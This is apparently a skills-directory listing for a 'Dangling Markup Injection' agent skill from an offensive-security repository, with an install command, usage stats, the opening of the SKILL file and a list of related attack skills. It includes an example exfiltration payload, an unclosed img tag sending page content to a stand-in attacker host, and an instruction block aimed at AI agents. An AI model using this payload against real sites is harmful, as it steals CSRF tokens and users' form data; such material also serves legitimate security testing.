
Dangling Markup Injection
When CSP blocks your XSS or sanitizers strip event handlers, dangling markup lets you exfiltrate CSRF tokens and sensitive form data without executing JavaScript. You inject an unclosed HTML tag like `<img src="https://attacker.com/collect?` and let the browser consume everything after it until the next matching quote, turning hidden inputs and page content into URL parameters sent to your server. Chrome has mitigated some vectors since version 60, but form action hijacking and base tag poisoning still work across browsers. The skill covers seven exfiltration techniques, browser-specific quirks, and tactical combinations with CSRF and cache poisoning attacks. It's niche but essential when you hit that "HTML injection but no script execution" wall.
- skills.sh installs
- 3.8K
- GitHub stars
- 2.6K
- last updated
- Aug 21, 2026
Install
$ npx -y skills add yaklang/hack-skills --skill dangling-markup-injection --agent claude-codeInstalls into .claude/skills of the current project.
Files
SKILL: Dangling Markup Injection — Exfiltration Without JavaScript
AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
0. RELATED ROUTING
- xss-cross-site-scripting when full XSS is possible (no need for dangling markup)
- csp-bypass-advanced when CSP blocks JS execution — dangling markup bypasses script restrictions
- csrf-cross-site-request-forgery when dangling markup steals CSRF tokens for subsequent CSRF attacks
- crlf-injection when CRLF enables HTML injection in HTTP response
- web-cache-deception when dangling markup + cache poisoning amplifies the attack
1. WHEN TO USE DANGLING MARKUP
You need dangling markup when ALL of these are true:
Sponsors
Details
- Repository
- github.com/yaklang/hack-skills
- Categories
- Frontend Development, Security, Automation & Workflows
- First seen
- Jun 3, 2026
More from yaklang/hack-skills
All 102- Windows Av Evasion3.8K
- Defi Attack Patterns3.8K
- Windows Privilege Escalation3.8K
- Email Header Injection3.8K
- Xslt Injection3.8K
- Type Juggling3.8K
- Linux Lateral Movement3.8K
- Container Escape Techniques3.8K
- Classical Cipher Analysis3.7K
- Linux Security Bypass3.7K
- Tunneling And Pivoting3.7K
- Prototype Pollution Advanced3.7K
- Steganography Techniques3.7K
- Smart Contract Vulnerabilities3.7K
- Stack Overflow And Rop3.7K
- Rsa Attack Techniques3.7K
- Sandbox Escape Techniques3.7K
- Lattice Crypto Attacks3.7K
- Symmetric Cipher Attacks3.7K
- Windows Lateral Movement3.7K
- Macos Security Bypass3.7K
- Ntlm Relay Coercion3.7K
- Nosql Injection3.7K
- Macos Process Injection3.7K